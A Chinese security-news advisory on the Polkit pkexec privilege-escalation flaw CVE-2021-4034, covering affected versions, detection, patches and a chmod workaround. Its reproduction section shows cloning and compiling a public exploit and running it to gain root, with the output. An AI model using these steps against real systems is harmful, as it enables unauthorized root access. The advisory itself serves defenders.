首页 资讯 安全 查看内容

Linux Polkit权限提升漏洞 过年的运维族尤其要重视!

2022-1-31 12:35 |来自: https://www.toutiao.com/a7058883509984870942/ 1714 0

摘要: 漏洞描述Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户 ...
关键词: moke Ubuntu Polkit PolicyKit 4034 2021 CVE CentOS 影响 0.105

漏洞描述

Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。

影响范围

受影响版本

  • 2009年5月至今发布的所有 Polkit 版本

注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。

不受影响版本

CentOS:

  • CentOS 6:polkit-0.96-11.el6_10.2
  • CentOS 7:polkit-0.112-26.el7_9.1
  • CentOS 8.0:polkit-0.115-13.el8_5.1
  • CentOS 8.2:polkit-0.115-11.el8_2.2
  • CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu:

  • Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
  • Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
  • Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
  • Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
  • Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1

**Debain:

  • Debain stretch:policykit-1 0.105-18+deb9u2
  • Debain buster:policykit-1 0.105-25+deb10u1
  • Debain bullseye:policykit-1 0.105-31+deb11u1
  • Debain bookworm,bullseye:policykit-1 0.105-31.1

漏洞检测

版本检测

Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:

CentOS:

rpm -qa polkit

Ubuntu:

dpkg -l policykit-1

漏洞复现

# 下载
git clone https://gitee.com/bilala/CVE-2021-4034.git


# 查看文件结构
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ ls
Makefile  README.md  cve-2021-4034.c  pwnkit.c

# 编译
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.

# 查看执行前ID
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ id
uid=1000(moke) gid=1000(moke) groups=1000(moke),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)


# 查看用户信息
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ whoami
moke
# 执行exp
moke@moke:/mnt/c/Users/moke_/Downloads/CVE-2021-4034$ ./cve-2021-4034
# ls
'GCONV_PATH=.'   Makefile   README.md   cve-2021-4034   cve-2021-4034.c   gconv-modules   pwnkit.c   pwnkit.so
# id
uid=1000(moke) gid=1000(moke) euid=0(root) groups=1000(moke),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)
# whoami
root

漏洞防护

官方升级

#目前官方已发布补丁修复此漏洞,建议受影响用户及时安装进行防护。
下载链接:https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683

2、目前主流Linux发行版均已发布安全补丁或更新版本修复此漏洞,建议用户尽快安装补丁或参照官方措施进行防护:

Linux发行版

官方通告

Ubuntu

https://ubuntu.com/security/CVE-2021-4034

Debain

https://security-tracker.debian.org/tracker/CVE-2021-4034

Redhat

https://access.redhat.com/security/cve/CVE-2021-4034

Gentoo

https://bugs.gentoo.org/show_bug.cgi?id=CVE-2021-4034

Mageia

https://advisories.mageia.org/CVE-2021-4034.html

注:如CentOS、Ubuntu、Debian等使用包管理器更新Polkit的Linux发行版,可直接运行下列命令进行更新修复:

#CentOS:

yum clean all && yum makecache

yum update polkit -y

#Ubuntu:

sudo apt-get update

sudo apt-get install policykit-1

#Debian:

apt upgrade policykit-1

临时防护措施

#若受影响用户使用的操作系统还未发布修复程序,或暂时无法安装补丁更新,在不影响业务的情况下可使用以下措施进行临时防护。

#执行下列系统命令移除 pkexec 的 suid位:

chmod 0755 /usr/bin/pkexec

tips:可用于安全研究,切勿违法使用

声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部